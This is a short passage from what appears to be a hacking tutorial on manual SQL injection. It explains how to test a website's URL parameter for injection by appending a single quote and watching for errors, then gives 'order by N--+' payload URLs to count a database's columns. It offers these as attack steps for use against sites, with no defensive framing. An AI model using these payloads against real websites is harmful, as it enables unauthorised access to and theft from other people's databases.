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To check if website is vulnerable , just add query at the end for example:
https://site.com/index.php?id=1' if there's an error then it's vulnerable
if none then i'ts not injectable.
to count if how to many columns that site have , just put these codes for example:
https://site.com/index.php?id=1' order by 1--+ no error
https://site.com/index.php?id=1' order by 2--+
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